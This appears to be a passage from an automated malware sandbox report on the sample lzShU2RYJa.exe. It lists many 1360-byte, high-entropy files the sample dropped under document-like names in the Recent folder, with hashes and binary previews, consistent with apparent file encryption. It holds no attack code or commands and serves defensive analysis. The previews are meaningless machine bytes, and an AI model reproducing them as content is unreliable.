Preview:	LTKMY.N.v'..7L...i.....Eb....^.......s..i.....3[._".#5y....(...x.8......Ir".,..PS".~......%:u..}....!"..u!.P.4...+QFmv8x ...p.e_\z.....L.o.j.t6....N...A...CE.M..{.....UE...s.;.^..m.I...:\|.. B.x.3...........4oM..J.m.-..J.#.c.Gk@y..iZ..G~..Bg........rm.y.h:..t..w.W6..D`]...f....>,p..".1.?.W.G..{.mW..[5Q+.v..}V.....mqk..)a....+{...M.c..QVJ..7.....,...V.eiE...(...Y.............M.......~B.vK...gN+.u...I..ru.@....#......0.mb5X..X..&....u..8.mC<......In^.3..N.U...F...p....?;+H.v..\|D.....'.?Y.8......+...........V.D....f....~.......o..=...K..R .....c.a.f..n.g....fC[~.>.Egb..^j.....m...R.Tl...'i......g@..'9....O..q'..\.f.....X.0)....C....\|..~.u]...?WN].mx../K..!u.g.M.....O.f?...I.....M...8..yJvI.......Ww,w.R....S..>.-...vE4.7..[e.'..0.3....6.o..;....`.B..:....u%..e.....m8...]....^.....u.x&.r.3.>..o-g;....9t......V.._.i.`....C.2.m...A..rmy...2-..3@.......9....4h.....tw...v%.B...b..?...y.....?..o.U.z..p.f. ..../.o..j.7...tL..D6..;6..U....T..Z...f.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NWTVCDUMOB.png

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.870182913072682
Encrypted:	false
SSDEEP:	24:Y1MuDN/XNHPiwKVblqk8gk4PtSeKIGPpgQEeoQQWZumDRmRUqg3iVbD:Q11PhKVb58gk4PtSeK9pgQnoQQyDRPJy
MD5:	BF7AE73E3709D9E43351E7F670984A24
SHA1:	4087EFF67DDD91B8E6393CAF14CFC899BAD85EBE
SHA-256:	7C47E423AB69AB3D923CE6584FA92F8BD5078264CB365759821E81D438324356
SHA-512:	D62E9981C8A53D08AFC5C941110188FB00D8B3DB82919861B94E747979B706BD3DEC82DC619DC846CE49BBF111417966A8E6A2D9BD2E7517C1F56BE2F7AED427
Malicious:	false
Preview:	NWTVC.....v2K`&....ygtT\|.N.......;)......z....+...B....F.`,AS/r....q...C.....'.....uwm.L.....k.m.M.rx.y.1..4^t@LY........oE0.....Ql}..(o..p..2..?.6+ ../...u..j.,F..-e77.A...&A.=...M..C..StG..O....Yn.M..'.QJ%.......0l.8.9..}.[:;\I..MD....e..c"..H.o......BC.G?.....6~"...&.C.4..[T.....PR5.X.......,B......E.H..8\.p.q.........v.y....}..)g.K.."...XP..,....yj.5.\|...k5...oKSE.A.........im.(..=...(Kv..9.}Y.}.+.._.Z./..h..a.V...B...2.c..2...:0e..z.8.[e.E0..Q.5#`a..:\|6l..9......8I...w...9...Ry ... A+.......`...T^E...+.Y..8X..E......!...g...{#..D..Q...A.....U...D.@..#.T. .q...i.1.Sr...Fs.\.q..%v.,.%.1.....;z.........u..._o6.RM.JZ.f .k..e.....b.s.~.el).#.=..J.-P.v.h.}.e.q...q...w...uzQq.fzo.^......B.yt..e.!.g.M.C..6.l.......ab..n!.m....C4.&._........Ip..XC..\|...q)F.p@..1.d...^.F6..XF......U..f.8\...g..iO.Y.P.[j..~..q.FF..)......in}.u.*.!d..(E...^$..H..'...../.;3(...sB....Q.{.\.......neJ.L#..4...<7.........<.N.'...5...wc..=I?.>.c..\|...._,g.@YL8F..=

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8347670692178
Encrypted:	false
SSDEEP:	24:nqKppJxSO9kk3lOgLrLuMp8X0eNTUk5MuSOEBQrMsQ7lkVqkLs/O9uXwBtWevJxj:z1FDb8UkVwsPwO9htWoFD
MD5:	F7CF71941E1136404CEB8E3AAB43BAAF
SHA1:	397CC846CD284BF0B6E4221589B67792390D8226
SHA-256:	87A189A79171D9AD7088AD2E6512DAEFD053AF43155B94B0C137E08B4C3AD893
SHA-512:	7B61A82149C95148D600B47C5C38D8EF0C90088152B2E64AEE0F8AC991D727EEBA6C60DAA7BE8B8787A12D0EB52E7D6257155042127C509CB0743A35108134AE
Malicious:	false
Preview:	ONBQC...'.....T_..].#.[Ik..=.`Q...k......j.y},T..85.......%......%....[....5.z.N.....S.i...... w.\..mr..[.......3..".5... .\.]..^%.Vn.5U..o...b.1... .o..p9a..)...]5.c...AV.G..o.Un....3..!).f.n/.....1.[t.?%.F[<..M.%>.OV.@.C.1.n.$..[..".o.. ....N.iz.G.(.I"S0..w..~...D:..n..}.....Z.....(..o....BLn.J.(.4iW_.G'%.....e'.x.....W.y..r.p.7...K<....7.s."...s..\.3>U{g.`...zY...^5.'..)}c..BI=.oCv:.8....h.s`t'~..C.......A..fM..p....9F3..x..i........f.......(.K"'.1.....S.........\%.N......ww...%.oNb..tAI......d.@..?.9#V..^.b....@...d$.6.:.[(..P5.a.5t.j?}X.......Cv-.Z]~....g./...R..0CE.......Z.H.@...].SX.f.P..x9....F.....(.t.U:qiz..Q...:!.._...6.(p...o..=].+. ....3...O.Q.....\2.9.(W}..hc\.'.q.g8bKl..v.....Q.y.?.fo.5lS.aF....B.?..,.fL@..:........;"F....\|...]..m.oA.p...#.N.J;i....`..=..dV.X.......d.W. ......,D..~W24...)?.j~/.I.w.g.$..W..&~./.Y..44.......'/.4.4.a../..D.:......<7(..n].W..*.....(. ...g....".@....:_....o:s[.8..T..,.4...F;.\...EET,9.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ONBQCLYSPU.pdf

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857729990407864
Encrypted:	false
SSDEEP:	24:i57yxynu9XEc8IjR9Hakd7JC6Cbe4KJFSwmYkEyMsLMQ4U8pmKWeaLH45/D9qVbD:fYu9Xr8IN9HlNYKJFgswN4hiLY5pqFD
MD5:	0EF83449F42B55D72EB2AD9466F7D596
SHA1:	8404F1271E1ADA89E047AF3D7E9D21AF9C5E525A
SHA-256:	4A21F13F877465A4B63F80ED4BFFF821FCF7CAF2A40FFCDBF60F2EE47CD28BC1
SHA-512:	F055DC824296AE61C3EA983DDB0D1BE5A4B307CF9F96A52952B3D270B5A8B49A5DF511744F5F6646CDC46FAE5E15E5AAD5848D5B2A5F66F394DC31F4C474C043
Malicious:	false
Preview:	ONBQC^..\|...%......k.:...4a........Ij..5r.....,..9k.Kf9.+..=..>.#g.A..,Y{...S.=t.bE..Y..eI"XV%a...,...sO.......P.<....V.L].....<.P..r.n...jvi. #......7D..u....J/.]c..NI.f.........ng.Z.o...,..q!X.W..../..BD.{k-..^.8.>....../).g....I]n.Q.cF#.].WL.W.P...j..=./#A`..\..>..=b...]G.}V...m..._J...o.S..:...~3.Z.u7d.......{`.w..A..3...F....u."..._A...E..TR.^\|J.L)%.#..J.k..h..L.{.x....`m.A.....k.)nKW.o~.._.....6p........m..j`q.....O.uW.,.....b.x.,.!t..7..X.]Dd.!..Fo.2..O.x.z.d........8.}..F[...\N.u.3Am..^.....k.C...g..\I<..u..W2C.....)[.K}..p.dL....D.....GJ!..U.K...'.Z5../.1^c.z....E.c.,.<5K.Z.6I...'.f..8.H..H/}...c.m.f....v.%\.w.+.=e.gK2.fd.1./.+.g@Jv..........)."...I....\........p.r.M..O[$..\|....)g.he:.yl.u.UU...O%...!1b,....X.k.LoR...ymIw...3;o..=`'T.).OF,.qod..i..D.yB......$C%...)....9F..c.......&.%..Sv...#.......F.r..c..........Y?...i....H..z.7........n...@..w*4..P....Uh.....K.y.v..(..e.&:......h9.x/n.......O.\kO).%.a\..?..w...4..~{W.\|.Q.wto....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PALRGUCVEH.png

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.827711156094462
Encrypted:	false
SSDEEP:	24:2qeMakLQesn3UEy23OhfbVZgb3IFqHJ2WIrRxK8SdVzJiAEPbexnflKUo2IVbD:TBdsn3UEy230xuDfYbvIzQPb/LTFD
MD5:	AF69FBB4A6B131D85F7EB905470A8717
SHA1:	AC79D76569BB2854324FD2891FDC8EFFF2999D61
SHA-256:	DC363FBA6DFEA0DD1EB88DF04D0F8E1E31E7684C0BCC067185CBC5B2172C3E91
SHA-512:	4EB05EAEA30B6647CEAAD670DB939AC44C3FCBD84FE9B76795DD781C8D576D22E2EC8C99C08CFF3DBE57D15FA176867788BF2B154D07F7BE37384B343E2B15FD
Malicious:	false
Preview:	PALRG.....A.....6.a...aI..w5......~...w.-.>.....d.X..D.u..s.QR<.wC~Md.b?~..=ji....7h.._@.6r-E.g..."...,5..P..~Z.W/..0.f)........R.lrW^U...VU.n.......#.....7..Xy.w.q..D.r....3.62P....E.XF..>...6@.dE2....1.'.._....?..h.L.mi..f.0.(...7...u..YG..M..Z....k@...u,..$..u7Ya.op.b..97..a..>8....yS...4..@.}...5=.PFt..1.j..'iT.6M...(u.&....[6d..j...8.9"Z..aS=....\|.b@.....R..3?}....=........J=..5.hIL.X..V...7'\.v"..2..]C[d..ZY.q5......J.6w.sV.m&I..(..42..5....RB.7.R.{a..#~T.Xca.G.7.,:.A.h...&0.;...{.Mh{..~.....&Hb..g....P..m.)..s...Pr....)...."..@...!.2K.%.%...0{.FM.p&.)..<Y%vG....a.sl..G./......t1.@^.......q.L.h.Q.{../{._h.M.K..y.Q..A.My.]..Q#y.."3b.....I.\<.......*...R............t3o.V.U....7..C~.d._G.. XB2n...m......#.?.j...'.....`I.?.y......a....... Y..rv.O....m~.5.;F07.?.`.r.."\.b..h.....+......v.S..3... ....5.Y.p.\|.....w.'1..(..q.ym.sa.HX7....E.....m...K.H..K..Y,....l.........e&Q..\.xP.T...v.7.ef4^..{...hj....-s...a....Q.b..jjB\...a.Ja..;.1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\RAYHIWGKDI.docx

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849102970187635
Encrypted:	false
SSDEEP:	24:Gcbr/X2zozW6rPXSZALVkzcStqWvalyw5L7iNCOmR5PVbD:jbrfiodwAL5cqywt7inmR1FD
MD5:	A712E5700C1E405BAF02B9EEE42C648E
SHA1:	E666D39CC38B38346B486A857602A2ADF8CBDE4C
SHA-256:	7F85497296904E6999EA62E01DBAC226A9FA8C2418A90EE1C18946048D48B13A
SHA-512:	C8BD2ED0ADA94EDEBCE97970694F7C8BB252EDB72D86DE325EBD1B29BC40ED4153D7E1EF3B01EA85C23F0A0CB9AD887A0B8EA6CA4FF3DF0057137F9DA2A255F3
Malicious:	false
Preview:	RAYHIR....\..@..c....~...l.....C.."P...oy.!..n.J.0....].R.O......A..R>...!."...!...s"Q...V....=...I9..$...S..N\|..0.S......H[!8do...(.-QUC^....8S.x.....s..,.[#.<.x......Q...o..oM.{.s....u...@}L..f.y/..E.=.p..\|.....,.r'..L....V.F.GC.k.\|.i..\|D..}.S.s..j).G#._[...$s3UL.KT.....7..n{/g$\.s\|... L...o..x.Q}.`.X.I....d...Z...!Z..w...5p..j.}.s+.P...7Co.......u....L.n....N...............j..=.lGY...X]@{6.`H+.......Z.{9..{s.]`.<...-...g%/....W.....^l5..lG..b....9.fI..td.yd~...4..S[2..(....?...x.t.<.].......=W....,N......=q..?o.q.!.~....3.."...h{.jx....i..>..Tv...#..8Z.M...f:..,..Um.6.L.....$..x.m+..?..P.....%..%eb......\n.rg....j.k@.K.&..2Mi...rkNi.C.F..i..a7.+].O.qr.H..V&Vf...#3..s}=.....H.M.J.....x1.h`.(...v...........1~.+..9.........a.\|..Ar......t9LL.b..i..^.~E6w.....r..\|.'D....@...a....]!^.Zu0..2=..;.&.5M.D.0..R....%...Q"..I.k.\.=0..Z{1Y!G4.9....Wu....+......".v.Gj.9...b^..n!'..^/...$I.46n?.s....c...0....Q...SBq.I!...I&.K..G....O...9...".K

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\RAYHIWGKDI.mp3

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854389270251009
Encrypted:	false
SSDEEP:	24:7hexMgBUD7DZRLQ5Nw7Gj8YRCelWsQK2zmdZdHJKYbYPIPRzevQn2F0RnYZKjf1E:7oxXUD/e6RYc2WsFdjHoY0waQnfRYZKu
MD5:	7C8DB1F24E98FF31E5763510839C18B6
SHA1:	BE42D54B77D4414D5CFA10AB3678EF40429964C6
SHA-256:	EC16F7F796A2A6363DF3E31EF7F9CB151839F774CDBCAE06503A9901B9F2D88C
SHA-512:	CCFC70644F78BE8C668C6D38AD981F3FBC2A49EDBE84C731A6A90FBE6E3EE6E48B4334BA4579ED6C0AF891A75F59CF08111CD7EB5EA15FC2C14A7B4ED2EB55FC
Malicious:	false
Preview:	RAYHI.....(lK.F=.A?w.....=%.;Ov.......#.w.F.J.V..C..~..e.>{z......6.).i....xU..3..p.....:...M.......X[@...iJYS.....m.B..h.......:...j.........g.M..............+j....EF.B..-.j..K..8.......e=...^.n..m.b.`.}.@.......+&L.~s..Q..R......p....of...P..Oa..^(.H.$A..(.fY.{(..[6.......n*t......49.u.i%.2.i....#m......g.G(DQ..d..b......Wd......aARJ.{.'..uo4....... ..&...D.r5o~..........`.x]..\..Z....<(...../.[.....C...U...j.Tfn^.+.c.y..9i.C.....3.<.U-.....$..?..U."w....H......P...o.eE.p4.o...1....%.I....C i.+..u..y.V..._]\|..FG.+elP.X..?.ip:..Cm..ZE..w;n\......fTz~EMz+e".+dSS.w........\..%o<......S....D...v...?.......Mi...].3..O.>x.c:<...D.Y#E....g...ou_,...f.ww....4<.+.N}....#_k..S....x..D.B.=.G$...E..8...E.``..@.Wq2N.E8VZ..I...H...YL5............\l...t.....7....;......J`...DZ..u.....5..zzF....Y.....O..'h.p?.q{.nvg.,G2........R.iZ....."...x....ETb.....2]....(.6Kl.....!_M.s.\.....z_....YEc.......bM...K..C...K]...Z.$..&,sm...^.CF......eQQ.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\RAYHIWGKDI.xlsx

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.824991682593165
Encrypted:	false
SSDEEP:	24:VnDB2OAd6YgCJ3iaZuJQ9W7jqXD3MBs5xVOvfSsU0QHUkxuO30n5MANVbD:5DQVUkyaZ0QIqXbMBs5xPsdQF3EMUFD
MD5:	E12C3E1D15F5B000205642CD141F0C83
SHA1:	C604F0C02A79C03F9333193525B148FA2DAF33EB
SHA-256:	A02FF9048FD79E3FF87B1D67D735F8CF640FCAA2C60F80B9359EEC7F20BBF3D2
SHA-512:	76B61A4580E82F0AA20726FA60035DA61A3EE907D0FE33F8A27FA81DD497442B1CD94DB4BE93575B04672FEC58F1EDC65D3B3384DB0BFEE0482E3F5A55CA7F98
Malicious:	false
Preview:	RAYHI.0xU.g..GO.7v.%7.h.m..i..5.m..uQ..0u........z">..4B..(y.T...wYZ.<.?..`.7..EVO>.&9..}..2/<..U..{.....o..B..J...3.1m.....:.?....A....gf.][^......\\../FO.`.f^..P..uH... t.%......c........{8.......@.Z6..,..P:..!uM..lc....%%....L.....t.0E>....z....A!.5T...qb....}g+9...../c..@...d<.......sq..s.kd9\|...n..X..l.b.F..ju.=..jc..,..T..2x[.2.@(.h...M.~....m..A.....h.....yz.....Vi..%H..cY(/h....H.;.Z9..{.....Sy.K].:(k....Fh..!C.....FE4.!...1M7o.<...k(...=....`...[c-7].w.9......y.;%...\|.O..s..V.Da..A....k)..m/...+..A%4./...!..u.tP.>."8=..D..."-T.o.lN.a.b..fQ.U"...&.E?.K.~B8!.s.2./G...s...l.............E1}G.:..l..KP...WAh....F:.....6%.e.....)p.\| ..x....y....@..6.8.8`.....j..p.W.gN..M..('J.W.9....Q......R.%.j.b.4e..oM1).....u.tR.......F7......5.I...nA.._P...3.x. 9.9.5.....$.t.;B.$...h.}0`=.69E.\...........s..7[SF.J..9.x@.Y..pS........N........qe.....du......&..b...R.. 3.[.9....Q...>kxm].xn.1.x.X.G.][...N...;..y...&.]^..~3....w..+....{...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SFPUSAFIOL.docx

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85982665403248
Encrypted:	false
SSDEEP:	24:8RITLcdwd1wvyv4xjFcARxO+szSWQNGw3H2+nW8cPNGuuhTiNnBVbD:YIPcd2KvdxhcARxO+uSgc3W8c1Gu6ir9
MD5:	83785FD8F472AC7D4C20AD023B8755AA
SHA1:	24D9AC37C9C924B107E1BD35F36629EF3B2F8FA6
SHA-256:	3433E225B7E72D008A402CFA3F615E025D2A94396C6396107932C057DBA704A0
SHA-512:	5ED444A926FD010E1B3D08842CA8A223296D88578A683DDCC52EFF69E1E667019115F109FC5B86CAC7832607624CA0EE5300E56B066933242A9A6E209D21777C
Malicious:	false
Preview:	SFPUSi.]..F@<.....'.....8..Ml7:....2..d.....[.>YNUs..Q3:...\|.....u&GFeY.....5BA..9....BE...3.......L...e.,).<;.XM.w\..##e.j.l.o...k.....B.......$.k...o&8...hX.D..)....Z.Ke.Z.vd..C.....@.....nl.h..H..g...{J..........2..B.IFb?G.q.Z.`..U.@...9...@.......oc..1.........l...e......X. .........M......C.Opa..2v.Xh.....>....,..l....WBww.?.....4..I.w.d........IU@x6c.1..7.Q6A..V.Z.6.t.D....~...eq;..b....m.Hj(....Z#m7..b........\|h.....3..T...z.\|N.....&O.w..T...K-..(dE.rJv.B.<9...J..C..'....p.\|......o........v+....+.I.7....]......Rp9.m"5../....xq.......Sn...:5........K{..x...>.. >.Qd.._.C.....W...........i.....2.`2..Ja...F[..<f...!...y......n.r...2.d6....fSv.XB...#.0...U...}..!R[y....-..q.}...'B...MK^].]z.4.y......h...tT&.<......Fz.m2^\..#x..)../......Gf..B.~..o<......:+1..&.....V`X].3..zK.<n....P..pO.N.y...]...Qj/oF.iK..\|..u...g...9v...E...ZJ...Yu.h...,./&eh.&..$m..X.T..VZ.J.x...CP{T1..u....".2z.C...y..a.....V-{G...Ji".l$7.....V......)[x/...}.F...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SFPUSAFIOL.pdf

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861100135423797
Encrypted:	false
SSDEEP:	24:zSxHGqOFSgx3LrdmM708xX0f8BItpBqHCIxWz7EK2Q4QS+M0U03TIX6395F5miDd:zgmqbgRrdR7nmAQvqxmISflMI3TIq39D
MD5:	3C9F2E9BE6EE4AADFB7AED8400BEAFBE
SHA1:	7B6BC356D72FBD79DFEC319D186F6803B15BBD9F
SHA-256:	3C1FCBB2460A28CB56E555B36DCCED5DDE11258436EC8366746FE7078A7EFC31
SHA-512:	552634BDE7DFB4EA22A06E96F72FF4131CC5DD850F5DF21FEE94C6825E6D052B8BA69E0F268A52AE8B2B2E789900AF7CDE23F49DAEA95139A024D8E45BC14954
Malicious:	false
Preview:	SFPUS...>.z. .......a~.Y......DQ..).B..q...A.xEzU..Xe...........6g.kR...t.rH\|..c........../....@]C..T..........'%..V.rC.).......SU......(..jw.Y.r...f~h...qB.Z..d...n.......e...y..\|..c..~...D..w..s..V...k.}.B.Z/........o.SB.Zv.1./.....].hG..!.[%.d.7..a......&j7..Q....+7.....{..=?.Z.s4#....L#D1...o.`.......>....\|...A.%.K..T...\~..Y....)0.>7..C.MY....0.Q..piQ...7..f.......J.{.......#s.G5.73.I:3v.. ......)..?...$...C?W.vV.S.{..P.H..^sc.=.Vo)0........^....>...d.7...yI.L7..v.....0.....]n...d..g..+W8+.*.#:J.9..7E..}...K....V.;+.79.. .t..K..Y$.K.O.....A"..KD..;xz..1.f.p.m...}.....vua.DW.V...`.....+...sP,.P..._[..J...j.5.X....L/.;."_.ns..%..G-n&Mw..../.e;4KZ.X.f.@..k..H@.jC...e.B..'m...>Z_i...n.k...;.. ..\|....!...#.}.....~..7.mD...K....D.....Mw.i.q.z......r.+...\2%.Yi......b.\|.S.].o"D...A..).pa.].7(%...^X........,%.X$..........V.'..!.u".0..PY0...B...W..v.U7.FK...\|S.....]..T......F.+>....kmm.V..`...7..1'V..V.Q..(:.8.TtQ....w....Jh..s

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SUAVTZKNFL.jpg

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840285232239787
Encrypted:	false
SSDEEP:	24:WMffuSJHOmYAOslkWbblXZqy2+Zu/eCWj9TAEo5v5/SBVbD:19sjuRbbTqy2UuW9Y5B/SBFD
MD5:	B147C6A74719F3D619DD3AA436D27301
SHA1:	1341085453232E0213F53E72674F5FBE5F587D64
SHA-256:	5608F9E4D599FC6D6ED82DE54D8951286140A7FE673ACFC99B3414E8F75A1A46
SHA-512:	C9178E4E04094B70827F102370E69E3570414CCAFC1C2E4C4673304EB936C476587B1D025277584F05950A8428F3982399EF64D61C1C2A4F15232AEF01E67A26
Malicious:	false
Preview:	SUAVT.g.t'-..X..M.\^....'.../.8..7.....A...^.}..0=s.N:.k}-...u2...._.."pGb....Ip....Z.o....]b.......[..0..7.][..N.F..u.X.$.......g.'.;......7.J....uk.A...c...-T%.....L...%....7p..F.]>....c.@&rl.A..z..<t..t;..3...........F{..e......5...p..;.v...[TP.O.".F\|..T......M@.P@..y.zC...z..1.. ...t.......!e..7.........>>....2..B..<<...B...#..)h&...G.lA.@@..`6}~.....p.h..:{xU.....R..S/..b...KhN.W.6.=.....8.....u.S7b#.1...KF...y.._(..Y.......&\).. ..5.....rW....+./...ZMhu.R..G..<k.:y.k(aB...F.n.Au..4&"wa.......U,.T.,.h@.N..S..\.q%.\...j.....n..3\.9w..M'....={..}oH....3...........N...,.............\|fB'.7....Y.d....7^....1$.C}`...t......na{.F.(;....S1J \|t..%.]c`.G..6\j....V..c7C#...F.......s.{..e?z...;....l....w6.H8.........O.$.'...{~.:1.Xxd.."..&._-...P.rv.}..Zj..eaZ..wD.......+.........r.....[`U./..i.>M.XZ.6.:..2F..C..j#..Zb.j....W.....C.....l....@.i;.S.....HB..I4...G0..r.......WZ"KI..~....._C......y.TC..@9/.k..q.d.Lg......T.s'...).)...D..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SUAVTZKNFL.xlsx

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863011991534209
Encrypted:	false
SSDEEP:	24:ZqHc+Y+pX9MH633TlcfUN6HHw1pM5ZGQeUF6Uk3Wpi+CVbD:ZqHJpGH6np+Umw1pieUF6UkVnFD
MD5:	C895C790AE794A73E36C7D9DF01B7E0A
SHA1:	543700B454172812FB75E7B5C2882505FFB0A0A1
SHA-256:	296F8CD83FF60F2EF0ACA14703D8F168389B8C208DB8685F23AD8602DACE131D
SHA-512:	CD3B8963817631FB6DA512FE3139C0FAE3FEFB80B98F3D106FF7553C71DC95408511FD9BBE276D39B5BC3F44FF1E86CBBE09433883122A7F6E28D2C677D6A89F
Malicious:	false
Preview:	SUAVT8:U$.5.$.....o.aV6..E2...Ks......\|...........b.e...........\...an.>m..4.V..8d3...r.O..S.;7....1..fhz.e....9".3..:b.KDv...aG.1.:.m@...$.$7..U..O..'...Y..m.&.'..1.iR......F2?k@f^..rU..b.N...i..)......8.&p.L..L6C.0.>..m....,N.....W...z...........za..o(^s:.....\|\).B.=.u.^...%\|n...)7.B..p+.z... ..(./...jz...."..R....@...ce1..O...6y....\Kg.\....g.jG ....N.....F.%/My.2..;j. .;=jO..m.a..QR.t./K....):...19...f5V..a._[p.!.,(6.}..3...3.#.e..J...$...6.7.L.\.v.c.. ..........?1..i..d.}...NeH`.\.2:rR..........!.6..y.....d../=..\|.....'.:.\..g......&8..x>x.[.x...;.....b.j.p.n.S...?.}q..4W.o......i..NK...b...._.Wmb....%.....<<.)..]......d..B.(R..y...BVw.d...%........-.....9&..09.Z" ..^..o.}..%.<6h....`..I.+p`.BCU.."..r..\\WV.F.....Y. ..w......6.^^TY.c......}@....#..S..0.......O..6smT&r...'.....".`..q...'..Z...F}...(..FYC8.. ...xq.z..0. G.7..[..?#F.s>..V>...My.@D...{C..j.............2.>g.. Q.... .......Pp....R.N..",gt.1...Z.SM.....-..24.)5.4....`.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UBVUNTSCZJ.pdf

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	HIT archive data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.871616109649991
Encrypted:	false
SSDEEP:	24:DrEKE5UcsahR9g+s9GhicQ+RkHbWAAcSY+TXWpZQHKrDr4lnkwjugN775Es3OVbD:7EKARixqic5S77QjqZxDrSn1K6R6FD
MD5:	8D0A1AD69859A2E1D0F07712D6B7B5C9
SHA1:	536E5600D423C7BC1C6D6D135D8667021BB8011A
SHA-256:	DFA7F0C988A48BC7B98390935AE7256FC50B3E453C6D8CDFD6905C951C61CF08
SHA-512:	62E7A05E8C81FEE8CFD0815D6E68BBE20F346C040DB7C909FE0E0433DFA60B6957CA00BE8E0A6A7F2431FCDB819811EE638530840969AE0AD19F93475DFC95BE
Malicious:	false
Preview:	UBVUN..}.....DO...\|W.P........R..ZdF.2M...'L...>p.+9u+..l..Fqm.O....i.1...T.%D.B.}.R.....C.s..\..T..vG..L......UJ..C.!....e...L.....Kb.._..%..c...i...I..,......l.K.........^.A\|.L.3^...h.`8._.a..G.hg.}.U\|.,.%...o..F's...:f.).p(XX.E..G...8.tq+..#X.?..M....6.`...h..1..x.?8vn..Is_....xz.....=.b....\|R......p..C.......].P.e..U......&..s%.~..$..U.....rX......rG..l.......xw.n....<..e$.F.Z...^.r...m.L..w;.0....mrk........2.@.x.f..v....Y...5V2.7.G"..PE..g33w/-K.`o3.At.uE....1.....uj..`..$x.....L...q$..0...{.3..;..z....+..q./..?`.H...&V...\|8.J.[P.]h...,..}o+.....L..j.1...7....l..Lq.DO....F.`4..N..&.....w..}..?~.s...tG.t.3'<...I...V.l-B+..T.9...#H..LAV......O.),...A^..~]5.wW...."...:.w(...l`......!-.!...q...v.t...Q>:....MoC...U.C.+..P.&.{D...._.Q.N{...h......:..g...,.@..x.4..E..p.Zt.a... .2SIPv$B...l...\n....Y]*.."./.B.[.rv.\|......W......e..p#.~....Kyn.{.Z!\.2._....J......;.] .H.g....0...:..d...~.$..@:kN{Y.t.):..98y..m..s....n"...u...J

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UMMBDNEQBN.png

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8375779758268616
Encrypted:	false
SSDEEP:	24:J5I4aU6t2H46GIAJE0SioyzGQzoqk7rO7YxL14KADB16hVbD:JG4CqGxJDSPyqQBk85KADBIhFD
MD5:	D27F7C05517629E4411DA1822713D708
SHA1:	956E8DA58861405690946315691ABE94746BF8AE
SHA-256:	7F33D21D4EFC7EC5986005A0E5BA1FB43557B05513BD7FE075996A4119BE72DE
SHA-512:	7B45689C4E3DDD9EBDA349BDE48BC90241DEFFD8B1E3CD769B0F9BD8C44F5020D1243FF4716670A72193BF2E8702DD07B09D148527607D0A8D03E2BBACD24A97
Malicious:	false
Preview:	UMMBD....n}Gp.?x....B...;i..(..!.....)M..J.d....!......+.....4......qV.fW..<..~.x_9..C.\|.F.........X.gw..#...C..."..kv..........f.Ug..6%....`...T..j.)..'/.n{...?.....,..@WW.h.....6]]p.../..\|..~%..$d.h......f.H\|...H..f.F.r......Ax.r.1&.....}.[...........S.....#..v...p4q.)...`..v.......Di^.P......+...x.M..Z.x....z...H.Y..L+.....(......p0.oF......K.\H...+...........Yk.5.T .E..{3..c........h..Y.Q5...<{2./.{A....../t.....Q.g.......V......#XB.H....w..T....+.P.JK...K8K.9v.....">...6PA.......o.5..J......z..Sq../.........2.Q.........Q.d.^.qS....S...M(2N.j8..T.0Q...z=.re6.V.~l.......o..P.....M;.....DI.>.D.r.C-:.K..r........2(.....OQ.....\..bc._b!r~3..(B..{f..'.z....7 ./a.P....CM..o..\\|...S....,..9.4X........:.IJP.y.h5z....!G.e.D.\|iu.j....P.~..g.>.o!.za.?...DI.j.>.r-.E....; Fm.&s.~d.N...!^.9<e.....p.....^U..C.Y........14o..d."..j...... )..(.$.b.fC...3S.3......$...\|.]..x;X...^.9#.%... g_9..N.>=z.\`..L...=.}.......Y+.m@..\|e#..Md.2..[......m.3...1.Q:.s....5

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VLZDGUKUTZ.jpg

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8600213228450295
Encrypted:	false
SSDEEP:	24:ox5s4o7DcQQjenZ0t5ttrfPVg1tXIxGimNqFU/oWOfgdVbD:Gti4QQyZWtlP1VFULOfgdFD
MD5:	A04268B32BD369B9DEAD6CA99C3758F1
SHA1:	8176F587402B6B5B452B8ADE3B52859D33F858F1
